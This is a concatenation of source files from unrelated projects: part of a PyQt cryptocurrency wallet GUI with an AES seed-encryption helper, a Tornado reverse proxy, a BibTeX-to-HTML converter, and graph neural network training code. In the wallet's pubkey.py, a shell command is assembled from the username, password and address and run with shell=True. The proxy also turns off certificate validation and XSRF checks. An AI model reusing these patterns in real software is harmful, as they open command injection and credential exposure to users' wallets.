item_0.setFont(3, font)
window.transaction_hist_tree.setStyleSheet("QTreeView::item { padding: 5px; background-color: rgb(201, 207, 207)}")
window.transaction_hist_tree.topLevelItem(index).setText(0, _translate("MainWindow", ts))
window.transaction_hist_tree.topLevelItem(index).setText(1, _translate("MainWindow", address))
window.transaction_hist_tree.topLevelItem(index).setText(2, _translate("MainWindow", amount))
window.transaction_hist_tree.topLevelItem(index).setText(3, _translate("MainWindow", trans_id))
window.transaction_hist_tree.repaint()
else:
item_0 = QtWidgets.QTreeWidgetItem(window.transaction_hist_tree)
window.transaction_hist_tree.topLevelItem(0).setText(0, _translate("MainWindow", "No transactions found."))
worker_state_active['TRANS'] = False
window.load_trns_btn.setEnabled(True)
window.trns_status.setText('Transactions Loaded')
window.trns_status.hide()
|
artrepreneur/Vodun | pubkey.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json, threading, signal, traceback, rpcworker
from PyQt5.QtCore import *
from PyQt5 import QtWidgets
#from resource import resource_path
from rpcworker import progress_fn, thread_complete
_translate = QCoreApplication.translate
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def get_public_key(uname, pwd, progress_callback):
global err
try:
cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet validateaddress " + address
result, err = (subprocess.Popen(resource_path(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
err = err.decode('utf-8')
if err:
print('Error:', err)
else:
result = json.loads(result)["pubkey"]
return result
except subprocess.CalledProcessError as e:
print('Failed to retrieve public key.', e.output)
def get_key(u, p, a, win, state, pool):
global window, uname, pwd, worker_state_active, address
window = win
uname = u
pwd = p
worker_state_active = state
threadpool = pool
address = a
window.pk_line.setText('Retrieving key...')
# Pass the function to execute
if not worker_state_active['GET_PUB_KEY']:
worker_state_active['GET_PUB_KEY'] = True
worker = rpcworker.Worker(get_public_key, uname, pwd) # Any other args, kwargs are passed to the run function
worker.signals.result.connect(print_result)
worker.signals.finished.connect(thread_complete)
#worker.signals.progress.connect(progress_fn)
# Execute
threadpool.start(worker)
def print_result(result):
window.pk_line.clear()
if err:
window.pk_line.setText(_translate("MainWindow","No address selected."))
else:
window.pk_line.setText(_translate("MainWindow",result))
worker_state_active['GET_PUB_KEY'] = False
|
artrepreneur/Vodun | cryptic.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import base64
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random
def encrypt_seed(password, seed, filename):
encrypted_data = encrypt(password, seed)
with open(filename, "w") as file:
file.write(encrypted_data)
def encrypt(key, source, encode=True):
key = SHA256.new(key).digest() # use SHA-256 over our key to get a proper-sized AES key
IV = Random.new().read(AES.block_size)
encryptor = AES.new(key, AES.MODE_CBC, IV)
padding = AES.block_size - len(source) % AES.block_size # calculate needed padding
source += bytes([padding]) * padding
data = IV + encryptor.encrypt(source)
return base64.b64encode(data).decode("latin-1") if encode else data
def decrypt_seed(password, filename):
# Decrypt
with open(filename, "r") as file:
# read the encrypted data
encrypted_data = file.read()
decrypted = decrypt(password, encrypted_data)
return decrypted
def decrypt(key, source, decode=True):
if decode:
source = base64.b64decode(source.encode("latin-1"))
key = SHA256.new(key).digest() # use SHA-256 over our key to get a proper-sized AES key
IV = source[:AES.block_size] # extract the IV from the beginning
decryptor = AES.new(key, AES.MODE_CBC, IV)
data = decryptor.decrypt(source[AES.block_size:])
padding = data[-1]
if data[-padding:] != bytes([padding]) * padding:
raise ValueError("Invalid padding...")
return data[:-padding] # remove the padding
|
glibin/binder-proxy | handler/__init__.py | <filename>handler/__init__.py
from tornado.options import options
from tortik.page import RequestHandler
try:
import urlparse # py2
except ImportError:
import urllib.parse as urlparse # py3
class PageHandler(RequestHandler):
"""Base handler"""
preprocessors = []
postprocessors = []
def make_request(self, *args, **kwargs):
kwargs['validate_cert'] = False
return RequestHandler.make_request(self, *args, **kwargs)
class ProxyHandler(PageHandler):
"""Proxy handler"""
postprocessors = []
proxy_request_name = 'proxy-request'
exclude_headers = {'Connection', 'Keep-Alive', 'Content-Length', 'Content-Encoding', 'Proxy-Authenticate',
'Proxy-Authorization', 'TE', 'Trailers', 'Transfer-Encoding', 'Upgrade'}
def check_xsrf_cookie(self):
return
def _get_proxy_headers(self):
"""Getting headers to pass to proxy
By default, proxies all headers from request
"""
headers = self.request.headers
parsed_url = urlparse.urlsplit(self._get_proxy_url())
headers['Host'] = parsed_url.netloc
return headers
def _get_proxy_url(self):
"""Getting base url part (``http://example.com``) for proxy request.
By default takes value from ``options.proxy_url``
"""
return options.proxy_url
def _get_proxy_uri(self):
"""Get request uri and parameters (``/some/path?a=1``) for proxy request.
By default, takes data from ``request.uri``
"""
return self.request.uri
def proxy(self, method='GET', callback=None, data=''):
"""Method for request proxy
:param method: HTTP-method of proxyed request
:param callback: function to be called after proxy request would be finished
:param data: request parameters or body
"""
self.fetch_requests(self.make_request(
name=self.proxy_request_name,
method=method,
full_url=self._get_proxy_url() + self._get_proxy_uri(),
headers=self._get_proxy_headers(),
follow_redirects=False,
data=data if (data or method in ['GET', 'DELETE']) else self.request.body,
connect_timeout=options.proxy_timeout,
request_timeout=options.proxy_timeout
), callback=callback if callback is not None else self.handle_response)
def handle_response(self):
response = self.responses.get(self.proxy_request_name)
redirected = self.handle_redirects(response)
if not redirected:
self.set_status(response.code)
self.complete(response.body)
def handle_redirects(self, response):
for header in response.headers:
if header == 'Set-Cookie': # cookies could come in multiple headers
values = response.headers.get_list(header)
for value in values:
self.add_header(header, value)
continue
if header not in self.exclude_headers:
self.set_header(header, response.headers.get(header))
if response.code in (301, 302, 303, 307):
self.redirect(response.headers.get('Location') or '/')
return True
elif response.code == 304:
self.set_status(response.code)
self.complete()
return True
elif response.code in (504, 599) and not options.debug:
self.set_status(500)
self.complete()
return True
return False
def get(self, *args, **kwargs):
self.proxy()
def post(self, *args, **kwargs):
self.proxy(method='POST')
def put(self, *args, **kwargs):
self.proxy(method='PUT')
def delete(self, *args, **kwargs):
self.proxy(method='DELETE')
|
glibin/binder-proxy | proxy.py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
import os
import logging
import logging.handlers
import tornado.ioloop
import tornado.web
import tornado.options
import tornado.locale
import tornado.httpserver
import tornado.httpclient
import tornado.netutil
import tornado.gen
from tornado.options import options
from tortik.logger import tortik_log, RequestIdFilter
import config
from handler import ProxyHandler
class Application(tornado.web.Application):
def __init__(self):
handlers = []
static_path = options.static_path or os.path.join(os.path.dirname(__file__), 'static')
js_static_path = os.path.join(static_path, 'js')
css_static_path = os.path.join(static_path, 'css')
handlers.extend([
(r'/js/(.*)', tornado.web.StaticFileHandler, {'path': js_static_path}),
(r'/css/(.*)', tornado.web.StaticFileHandler, {'path': css_static_path}),
(r'.*', ProxyHandler),
])
settings = dict(
xsrf_cookies=False,
static_path=static_path,
debug=options.debug,
autoescape=None
)
tornado.web.Application.__init__(self, handlers, **settings)
configure_logging()
def configure_logging():
tortik_log.addFilter(RequestIdFilter())
tortik_log.setLevel(options.log_level)
logger = logging.getLogger()
logger.setLevel(options.log_level)
if __name__ == '__main__':
tornado.options.parse_command_line()
tornado.options.parse_config_file(options.config)
tornado.options.parse_command_line()
tornado.httpclient.AsyncHTTPClient.configure('tornado.simple_httpclient.SimpleAsyncHTTPClient', max_clients=30)
tornado.netutil.Resolver.configure(options.resolver)
app = Application()
http_server = tornado.httpserver.HTTPServer(app)
http_server.listen(options.port, options.host)
logging.info('Starting server at http://{}:{}'.format(options.host, options.port))
tornado.ioloop.IOLoop.instance().start()
|
glibin/binder-proxy | config.py | <filename>config.py
import logging
from tornado.options import define
define('port', default=9999, type=int, help='Port to run on')
define('host', default='127.0.0.1', help='Host to run on')
define('resolver', default='tornado.platform.caresresolver.CaresResolver', help='DNS resolver to use')
define('proxy_url', default='http://sandbox1.agate.upwork.com:32819', help='Proxied backend (sandbox/dev) url')
define('proxy_timeout', default=240, type=int, help='Proxy timeout')
define('log_level', default=logging.DEBUG, help='Log level')
define('log_format', default='[%(process)s] %(asctime)s %(levelname)s %(name)s: %(message)s')
define('static_path', default=None, help='Path to binders web directory')
define('config', default='config/local.cfg', help='Path to configuration file')
|
bjornaa/bib2html | bib2html.py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
"""bib2html.py
Convert bibtex files to html
Usage:
bib2html.py <bibtex-file> [<html-file>]
bib2html.py (-h | --help)
By default <html-file> = <bibtex-file>.replace('.bib', '.html')
Options:
-h --help Show this help text
"""
# ---------------------------------------------------------------
# bib2html.py
# Script for converting a bibtex file to an html file with links
#
# Conventions for bibtex file
# The bibtex file is a valid bibtex file
# may need \usepackage[utf8]{inputenc}
#
# Limitations
# - Only handles articles presently (ignores other entry)
# - Must have commas after each field (also last)
# - Does not handle all LaTeX compound character constructs
#
# Extensions
# The following extensions are ignored by bibtex/biber
#
# Text should be in utf-8, possible extensions:
# author field: scandinavian letters can follow LaTex convention:
# {\AE}, {\O}, {\AA}, {\ae}, {\o}, {\aa}
# title field: to be compatible with bibtex use:
# \texit{...} or \emph{...} for italics (e.g Latin names)
# $^{\circ}$ for ° (degree, unicode: \u00B0)
# \& for ampersand (&)
#
# @comment{html: html-text} passes html-text to the html-file
# Generates link to the document site (by doi or url field)
# Non-standard pdf field generates direct link to the file
# Non-standard star_author field can be used to highlight some of the authors
# for instance yourself or authors from a specific institution or department
#
# ------------------------------------------------------------------
# ---------------------------------
# <NAME> <<EMAIL>>
# Institute of Marine Research
# 2015-06-25
# ---------------------------------
from __future__ import unicode_literals, print_function
import sys
import os
import re
import datetime
import codecs
from docopt import docopt
def main():
# --- Parse command line ---
args = docopt(__doc__)
bibtex_file = args['<bibtex-file>']
if not bibtex_file.endswith('.bib'):
sys.exit("First argument must have .bib extension")
html_file = args['<html-file>']
if html_file is None:
html_file = bibtex_file.replace('.bib', '.html')
# --- Init conversion loop ---
try:
fid0 = codecs.open(bibtex_file, encoding='utf-8')
except IOError:
sys.exit("Can not open: {}".format(bibtex_file))
fid1 = codecs.open(html_file, mode='w', encoding='utf-8')
fid1.write(header)
in_list = False
# --- scan/write loop ---
for entry in get_entry(fid0):
if entry.type == 'html':
inc = IncludeHTML(entry)
if in_list:
in_list = False
fid1.write('</ol>\n\n') # stop list + empty line
inc.write_html(fid1)
elif entry.type == 'article':
art = Article(entry)
if not in_list:
in_list = True
fid1.write('\n<ol>\n') # Start new list
art.write_html(fid1)
else: # Neglect other content
continue
# --- Finalize ---
if in_list:
fid1.write('</ol>\n\n') # stop last list + empty line
fid1.write(footer)
fid1.close()
# Some unicode constants
en_dash = '\u2013'
degree = '\u00B0'
nbsp = '\u00A0' # Non-breakable space
beta = '\u03B2'
# regular expression to extract italic text
textit = re.compile(r'\\textit\{(?P<emph_text>.*?)\}')
# regular expression for \emph{...{...}*...}
emph = re.compile('''
\\\\(emph|textit){ # \emph{
(?P<emph_text>([^{}]*{[^{}]*})*.*?) # (...{...})*...
}''', re.VERBOSE) # }
def untex(s):
"""Replace tex constructs with unicode"""
s = s.replace('$^{\circ}$', degree)
s = re.sub(emph, '<i>\g<emph_text></i>', s)
s = s.replace('\&', '&')
s = s.replace(r'$\beta$', beta)
s = s.replace(r'{\AE}', 'Æ')
s = s.replace(r'{\O}', 'Ø')
s = s.replace(r'{\AA}', 'Å')
s = s.replace(r'{\ae}', 'æ')
s = s.replace(r'{\o}', 'ø')
s = s.replace(r'{\aa}', 'å')
return s
# -----------------
# Article class
class Article(object):
"Class for peer reviewed articles"""
def __init__(self, entry):
"""Create an Article from an entry
All fields must end with comma, also last
The entry must have a single "}" on the last line
"""
lines = iter(entry.lines)
# First line must be @article{key
line = next(lines)
words = line.split()
self.key = words[0][9:-1]
self.fields = []
# Handle the rest of the lines
for line in lines:
words = line.split()
# Read a field in an entry
if len(words) > 1 and words[1] == '=': # New entry
assert words[1] == '=', "Expting a field in an entry"
keyword = words[0].lower()
self.fields.append(keyword)
data = words[2:]
# Add continuation lines
while (data == [] or # new line after =
(not ((data[-1][-2:] in ['",', '},']) or
(len(data) == 1 and data[0][-1] == ',') or
(data[-1] == '}')))): # final '}'
data.extend(next(lines).split())
field = " ".join(data) # Make a single string
# Remove initial delimiter
if field[0] in ['"', '{']:
field = field[1:]
# Remove trailing delimiter(s)
if field[-1] == ',':
field = field[:-1]
if field[-1] in ['"', '}']:
field = field[:-1]
# Clean the entry
if keyword in ["author", "star_author"]:
field = field.split(' and ')
for i, auth in enumerate(field):
field[i] = auth.replace(' ', nbsp)
field[i] = untex(field[i])
elif keyword == "title":
field = untex(field)
field = field.replace('{', '')
field = field.replace('}', '')
elif keyword == "journal":
field = field.replace(r'\&', '&')
elif keyword == "pages":
field = field.replace('-', en_dash)
# Set the field-attribute
setattr(self, keyword, field)
# Not start of field, not continuation,
# must be a single end brace, ending the article entry
else:
assert words == ['}'], (
"Article should end with a single end brace")
def write_html(self, fid):
"""Write entry to a open html file"""
nbsp = u'\u00A0' # Unicode, non-breakable space
indent = 4*' '
pdfdir = './pdf'
# Decorate star authors
authors = self.author[:] # Work with a copy
if hasattr(self, "star_author"):
for i, auth in enumerate(authors):
# Check if one of star_authors is a substring
if [star for star in self.star_author if star in auth]:
authors[i] = '<span class="selected">' + auth + '</span>'
# author
nauthors = len(authors)
fid.write('<li>\n')
fid.write(indent + '<span class="author">\n')
if nauthors == 1: # No comma
fid.write(2*indent + '{:s}\n'.format(authors[0]))
elif nauthors == 2: # "and" and no comma
fid.write(2*indent + '{:s}\n'.format(authors[0]))
fid.write(2*indent + 'and {:s}\n'.format(authors[1]))
else: # commas and "and"
for auth in authors[:-1]:
fid.write(2*indent + '{:s},\n'.format(auth))
fid.write(2*indent + 'and {:s}\n'.format(authors[-1]))
fid.write(indent + '</span>\n')
# year
fid.write(indent)
fid.write('<span class="year">{:s}</span>,\n'.format(self.year))
# title
fid.write(indent + '<span class="title">\n')
fid.write(2*indent + '{:s}\n'.format(self.title))
fid.write(indent + '</span>\n')
# journal
fid.write(indent)
fid.write('<span class="journal">{:s}</span>,\n'.format(self.journal))
# volume
if hasattr(self, "volume"):
fid.write(indent)
fid.write('<span class="volume">')
fid.write(self.volume)
fid.write('</span>,\n')
# pages
if hasattr(self, "pages"):
fid.write(indent)
fid.write('<span class="pages">')
fid.write(self.pages)
fid.write('</span>.\n')
# Optionally, write doi
if hasattr(self, "doi") and not hasattr(self, "pages"):
# Write the doi
fid.write(indent)
fid.write('<span class="doi">')
fid.write('doi:%s' % (self.doi,))
fid.write('</span>,\n')
# pdf, link bracket
# Make URL from DOI if needed
if hasattr(self, "doi") and not hasattr(self, "url"):
self.url = 'http://dx.doi.org/' + self.doi
if hasattr(self, "url") or hasattr(self, "pdf"):
# Opening bracket
fid.write(indent + '<br>[' + nbsp)
if hasattr(self, "pdf"):
fid.write('<a href="%s/%s/%s">' %
(pdfdir, self.year, self.pdf))
fid.write('pdf')
fid.write('</a>')
# Write vertical bar
if hasattr(self, "pdf") and hasattr(self, "url"):
fid.write(' |\n')
fid.write(2*indent + ' ')
if hasattr(self, "url"):
fid.write('<a href="%s">' % (self.url,))
fid.write('link')
fid.write('</a>')
# Closing bracket
fid.write(nbsp + ']\n')
# End item
fid.write('</li>\n')
class Entry(object):
def __init__(self, entry_lines):
self.lines = entry_lines
w0 = entry_lines[0].split()[0].lower() # First word
if w0.startswith("@article{"):
self.type = 'article'
elif w0.startswith("@comment{html,"):
self.type = 'html'
else:
self.type = None # Neglect other types
def get_entry(fid):
"""Generator for reading a bibtex file entry by entry
Returns an entry as a list of lines
An entry is consist of some text + all inside greedy matching braces
"""
# Filter out empty lines
lines = (line for line in fid if line.split())
A = []
enbrace = 0 # Brace level (=0 outside any braces)
for line in lines:
A.append(line.rstrip())
enbrace += line.count("{") - line.count("}")
if enbrace == 0:
yield Entry(A)
A = []
# ------------------------------------------
class IncludeHTML(object):
"""Class for html content that is passed on to the html file"""
def __init__(self, entry):
lines = entry.lines[:]
# Remove @comment{html,
lines[0] = lines[0][14:]
# Remove trailing "}"
lines[-1] = lines[-1][:-1]
# Join at separate lines
self.text = "\n".join(lines)
def write_html(self, fid):
"""Write the text to an open html file"""
# Separate the text with blank line before and after
fid.write("\n")
fid.write(self.text + "\n")
fid.write("\n")
header = u'''<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<head>
<meta http-equiv=Content-Type content="text/html; charset=utf-8">
<title>Oseano</title>
<style type="text/css">
span.selected {color: #0040A0}
span.author {color: #008000}
span.title {color: #A00000}
span.journal {font-style: italic}
span.volume {font-weight: bold}
li {margin-top: 8px; margin-bottom: 16px}
</style>
</head>
<body>
'''
footer = '''
</body>
</html>
'''
beta = '\u03B2'
# --------------------------------
if __name__ == '__main__':
main()
|
FusRoman/Alert-Association | src/graph/motloader.py | # -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 18:11:34 2021
@author: Roman
"""
from spektral.data.loaders import BatchLoader
import numpy as np
class MOTLoader(BatchLoader):
def __init__(self, dataset, mask=False, batch_size=1, epochs=None, shuffle=True):
self.mask = mask
super().__init__(dataset, batch_size=batch_size, epochs=epochs, shuffle=shuffle)
def collate(self, batch):
# fonctionne uniquement si batch_size vaut 1
packed = super().pack(batch, return_dict=False)
past_index = np.array([g.past_index for g in batch])
futur_index = np.array([g.futur_index for g in batch])
y = np.array([g.y for g in batch]) if "y" in self.dataset.signature else None
output = list(packed[:-1]) + [past_index, futur_index]
if y is None:
return output
else:
return output, y |
FusRoman/Alert-Association | src/__init__.py | <reponame>FusRoman/Alert-Association<gh_stars>0
# -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 17:11:16 2021
@author: Roman
"""
|
FusRoman/Alert-Association | src/model/motmodel.py | # -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 18:09:51 2021
@author: Roman
"""
from tensorflow.keras.models import Model
from spektral.models.general_gnn import MLP
from src.model.motlayer import MOTLayer
class MOTModel(Model):
def __init__(
self,
node_inputs_channels,
edge_inputs_channels,
edge_hidden=2,
edge_layers=2,
node_hidden=3,
node_layers=2,
flow_in_hidden=3,
flow_in_layers=2,
flow_out_hidden=3,
flow_out_layers=2,
mp_activation=None,
mp_final_activation=None,
edge_classifier_hidden=2,
edge_classifier_layer=2,
edge_classifier_activation="prelu",
edge_classifier_final_activation="sigmoid",
message_passing=4,
batch_norm=True,
dropout=0.0,
):
super().__init__()
self.edge_mlp = MLP(edge_inputs_channels,
hidden=edge_hidden,
layers=edge_layers,
activation=mp_activation,
final_activation=mp_final_activation)
self.flow_in = MLP(node_inputs_channels,
hidden=flow_in_hidden,
layers=flow_in_layers,
activation=mp_activation,
final_activation=mp_final_activation)
self.flow_out = MLP(node_inputs_channels,
hidden=flow_out_hidden,
layers=flow_out_layers,
activation=mp_activation,
final_activation=mp_final_activation)
self.node_mlp = MLP(node_inputs_channels,
hidden=node_hidden,
layers=node_layers,
activation=mp_activation,
final_activation=mp_final_activation)
# Attention, prelu ne fonctionne pas en tant qu'activation pour les couches MOTMPN
self.mot_gnn = [
MOTLayer(edge_inputs_channels, self.edge_mlp, self.flow_in, self.flow_out, self.node_mlp)
for _ in range(message_passing)
]
self.edge_classifier = MLP(
1,
edge_classifier_hidden,
edge_classifier_layer,
batch_norm,
dropout,
activation=edge_classifier_activation,
final_activation=edge_classifier_final_activation,
)
def call(self, inputs, training=None):
if len(inputs) == 5:
node_out, a, edge_out, past_index, futur_index = inputs
else:
raise ValueError
# Message passing
for layer in self.mot_gnn:
layer_input = [
node_out,
a,
edge_out,
past_index,
futur_index
]
node_out, edge_out = layer(layer_input, training=training)
# Edge classifier
return self.edge_classifier(edge_out, training=training)
|
FusRoman/Alert-Association | src/graph/__init__.py | <reponame>FusRoman/Alert-Association
# -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 17:18:34 2021
@author: Roman
"""
|
FusRoman/Alert-Association | src/model/__init__.py | <filename>src/model/__init__.py
# -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 17:18:03 2021
@author: Roman
"""
|
FusRoman/Alert-Association | src/script/training.py | <reponame>FusRoman/Alert-Association
# -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 19:20:32 2021
@author: Roman
"""
import tensorflow as tf
from tensorflow.keras import backend as K
from tensorflow.keras import optimizers
from keras import metrics
from src.model.motmodel import MOTModel
from src.graph.motloader import MOTLoader
import time as t
from spektral.transforms import AdjToSpTensor
from spektral.transforms.normalize_one import NormalizeOne
from src.graph.motgraphdataset import MOTGraphDataset, EdgeNormalizeOne
import numpy as np
import matplotlib.pyplot as plt
import json
# Loss
def weighted_binary_cross_entropy(y_true, y_pred):
nb_ones = tf.math.reduce_sum(y_true)
nb_zeros = tf.shape(y_true)[0] - nb_ones
ones_prop = nb_zeros // nb_ones
weights = (y_true * (ones_prop - 1)) + 1
bce = K.binary_crossentropy(tf.cast(y_true, tf.float32), y_pred)
weighted_bce = K.mean(bce * tf.cast(weights, tf.float32))
return weighted_bce
# Custom train step
@tf.function()
def train_step(model, optimizer, losses, metrics, x, y):
with tf.GradientTape() as tape:
logits = model(x, training=True)
loss_value = losses(y, logits)
grads = tape.gradient(loss_value, model.trainable_variables)
optimizer.apply_gradients((grad, var)
for (grad, var) in zip(grads, motmodel.trainable_variables)
if grad is not None
)
for metric in metrics:
metric.update_state(y, logits)
return loss_value
# Custom test step
@tf.function()
def test_step(model, losses, metrics, x, y):
logits = model(x, training=False)
loss_value = losses(y, logits)
for metric in metrics:
metric.update_state(y, logits)
return loss_value
def make_inputs(data, graph_i):
x = data[0][graph_i]
a = data[1][graph_i]
e = data[2][graph_i]
past_index = data[3][graph_i]
futur_index = data[4][graph_i]
return [x, a, e, past_index, futur_index]
def manage_metrics(metric, result_dict):
all_res = result_dict.setdefault(metric.name, [])
result = metric.result()
print("\t\t{} : {}".format(metric.name, result))
all_res.append(result)
result_dict[metric.name] = all_res
metric.reset_states()
return result_dict
def print_current_graph(step, max_samples):
if step == 0:
print("graph {}".format(max_samples))
else:
print("graph {}".format(step))
if __name__=="__main__":
# Optimizers
o_sgd = optimizers.SGD(learning_rate=1e-3)
o_adam = optimizers.Adam()
o_adadelta = optimizers.Adadelta()
# losses = BinaryCrossentropy()
losses = weighted_binary_cross_entropy
# Metrics
training_metrics = [
metrics.BinaryAccuracy(name="ba"),
metrics.FalseNegatives(name="fn"),
metrics.FalsePositives(name="fp"),
metrics.TrueNegatives(name="tn"),
metrics.TruePositives(name="tp"),
metrics.Precision(name="precision"),
metrics.Recall(name="recall")
]
validation_metrics = [
metrics.BinaryAccuracy(name="ba"),
metrics.FalseNegatives(name="fn"),
metrics.FalsePositives(name="fp"),
metrics.TrueNegatives(name="tn"),
metrics.TruePositives(name="tp"),
metrics.Precision(name="precision"),
metrics.Recall(name="recall")
]
params_file = open("training_params.json")
data_params = json.load(params_file)
# Params
EPOCHS = data_params['EPOCHS']
verbose = data_params['VERBOSE']
t_before = t.time()
train_window = (data_params['DATASET_PARAMS']['train_dataset_params']['window_size'],
data_params['DATASET_PARAMS']['train_dataset_params']['window_overlap'])
tr_dataset = MOTGraphDataset(data_params['DATASET_PARAMS']['train_dataset_params']['month'],
data_params['DATASET_PARAMS']['train_dataset_params']['type'],
data_params['DATASET_PARAMS']['train_dataset_params']['point_limit'],
window_params=train_window,
transforms=[EdgeNormalizeOne(), NormalizeOne(), AdjToSpTensor()])
print("tr_dataset construct time: ", t.time() - t_before)
t_before = t.time()
valid_window = (data_params['DATASET_PARAMS']['valid_dataset_params']['window_size'],
data_params['DATASET_PARAMS']['valid_dataset_params']['window_overlap'])
val_dataset = MOTGraphDataset(data_params['DATASET_PARAMS']['valid_dataset_params']['month'],
data_params['DATASET_PARAMS']['valid_dataset_params']['type'],
data_params['DATASET_PARAMS']['valid_dataset_params']['point_limit'],
window_params=valid_window,
transforms=[EdgeNormalizeOne(), NormalizeOne(), AdjToSpTensor()])
print("dataset construct time: ", t.time() - t_before)
# Model and Loader Initialisation
motmodel = MOTModel(tr_dataset.n_node_features,
tr_dataset.n_edge_features,
edge_layers=data_params['MODEL_PARAMS']['edge_layers'],
edge_hidden=data_params['MODEL_PARAMS']['edge_hidden'],
node_layers=data_params['MODEL_PARAMS']['node_layers'],
node_hidden=data_params['MODEL_PARAMS']['node_hidden'],
flow_in_layers=data_params['MODEL_PARAMS']['flow_in_layers'],
flow_in_hidden=data_params['MODEL_PARAMS']['flow_in_hidden'],
flow_out_layers=data_params['MODEL_PARAMS']['flow_out_layers'],
flow_out_hidden=data_params['MODEL_PARAMS']['flow_out_hidden'],
edge_classifier_layer=data_params['MODEL_PARAMS']['edge_classifier_layer'],
message_passing=data_params['MODEL_PARAMS']['MP_STEPS'])
loader_tr = MOTLoader(tr_dataset, epochs=EPOCHS, batch_size=1)
loader_va = MOTLoader(val_dataset, epochs=EPOCHS, batch_size=1)
# Custom training loop
tr_epoch_steps = 1
current_epoch = 0
tr_epoch_loss = []
tr_loss = []
va_loss = []
tr_metrics_results = dict()
va_metrics_results = dict()
print("CURRENT EPOCH: {}, REMAIN: {}".format(current_epoch, EPOCHS - current_epoch))
print("First epoch take longer than the following")
for tr_batch in loader_tr:
tr_step = tr_epoch_steps % loader_tr.steps_per_epoch
if verbose == "True":
print_current_graph(tr_step, loader_tr.steps_per_epoch)
if tr_step == 1:
tr_before = t.time()
for graph_i in range(loader_tr.batch_size):
tr_data = tr_batch[0]
tr_label = tr_batch[1][graph_i]
tr_inputs = make_inputs(tr_data, graph_i)
current_tr_loss = train_step(motmodel, o_adam, losses, training_metrics, tr_inputs, tr_label)
tr_epoch_loss.append(current_tr_loss)
tr_epoch_steps += 1
if tr_step == 0:
print("DISPLAY TRAINING RESULTS:")
epoch_loss = np.mean(tr_epoch_loss)
print("\ttraining_mean_loss: {}".format(epoch_loss))
tr_epoch_loss = []
tr_loss.append(epoch_loss)
print()
print("\ttraining metric results:")
for tr_metric in training_metrics:
tr_metrics_results = manage_metrics(tr_metric, tr_metrics_results)
val_epoch_loss = []
val_epoch_steps = 1
for va_batch in loader_va:
val_step = val_epoch_steps % loader_va.steps_per_epoch
if verbose == 'True':
print_current_graph(val_step, loader_va.steps_per_epoch)
if val_step == 1:
va_before = t.time()
for graph_i in range(loader_va.batch_size):
val_data = va_batch[0]
val_label = va_batch[1][graph_i]
val_inputs = make_inputs(val_data, graph_i)
current_val_loss = test_step(motmodel, losses, validation_metrics, val_inputs, val_label)
val_epoch_loss.append(current_val_loss)
val_epoch_steps += 1
if val_step == 0:
print("\tEND VALIDATION STEP, elapsed time: {} sec".format(t.time() - va_before))
print()
print("\tDISPLAY VALIDATION RESULTS")
epoch_loss = np.mean(val_epoch_loss)
print("\tvalidation_mean_loss: {}".format(epoch_loss))
val_epoch_loss = []
va_loss.append(epoch_loss)
for va_metric in validation_metrics:
va_metrics_results = manage_metrics(va_metric, va_metrics_results)
break
print("END EPOCH, elapsed time: {} sec".format(t.time() - tr_before))
print()
print()
current_epoch += 1
print("CURRENT EPOCH: {}, REMAIN: {}".format(current_epoch, EPOCHS - current_epoch))
print()
plt.plot(np.arange(len(tr_loss)), tr_loss, label="tr_loss")
plt.plot(np.arange(len(va_loss)), va_loss, label="va_loss")
plt.legend()
plt.savefig("training_result/train_val_loss")
plt.close()
for tr_metric_name, tr_metric_result in tr_metrics_results.items():
plt.plot(np.arange(len(tr_metric_result)), tr_metric_result, label="tr_" + tr_metric_name)
plt.legend()
plt.savefig("training_result/train_metric_" + tr_metric_name)
plt.close()
for va_metric_name, va_metric_result in va_metrics_results.items():
plt.plot(np.arange(len(va_metric_result)), va_metric_result, label="va_" + va_metric_name)
plt.legend()
plt.savefig("training_result/valid_metric_" + va_metric_name)
plt.close()
|
FusRoman/Alert-Association | src/model/motlayer.py | <reponame>FusRoman/Alert-Association
# -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 18:05:46 2021
@author: Roman
"""
from spektral.layers import MessagePassing
from tensorflow.keras import backend as K
import tensorflow as tf
class MOTLayer(MessagePassing):
def __init__(self,
n_edges_features,
edge_mlp,
flow_in_mlp,
flow_out_mlp,
node_mlp,
aggregate="sum"):
super().__init__(aggregate=aggregate)
self.n_edges_features = n_edges_features
self.edge_mlp = edge_mlp
self.flow_in = flow_in_mlp
self.flow_out = flow_out_mlp
self.node_mlp = node_mlp
def call(self, data, training=None):
x, a, e, past_index, futur_index = data
self.past_index = past_index
self.futur_index = futur_index
self.index_i = a.indices[:, 1]
self.index_j = a.indices[:, 0]
source_node = self.get_i(x)
source_target = self.get_j(x)
edge_embedding = [source_node, source_target, e]
# Edge update
edges_output = self.edge_mlp(K.concatenate(edge_embedding), training=training)
nodes_output = self.propagate(x, a, edges_output, training=training)
return nodes_output, edges_output
def propagate(self,x, a, e, training=None, **kwargs):
self.n_nodes = tf.shape(x)[-2]
# Message
past_message, futur_message = self.message(x, e, training=training)
# Aggregate
past_embedding = self.aggregate(past_message)
futur_embedding = self.aggregate(futur_message)
# Update
output = self.update((past_embedding, futur_embedding), training=training)
return output
def message(self,x, e, training):
# Get the node features of all neighbors
node_i = self.get_i(x)
# get the edges from the past of node_i
past_edge = tf.scatter_nd(
self.past_index,
tf.gather(e, self.past_index)[:, 0, :],
(len(e), self.n_edges_features)
)
# get the edges from the futur of node_i
futur_edge = tf.scatter_nd(
self.futur_index,
tf.gather(e, self.futur_index)[:, 0, :],
(len(e), self.n_edges_features)
)
past_arg = [node_i, past_edge]
futur_arg = [node_i, futur_edge]
